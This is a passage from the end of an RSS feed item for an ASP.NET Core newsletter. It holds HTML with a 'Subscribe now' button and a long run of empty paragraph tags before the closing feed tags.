connect with fellow developers, ask questions, and stay up to date with the latest ASP.NET Core best practices.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>]]></content:encoded></item></channel></rss>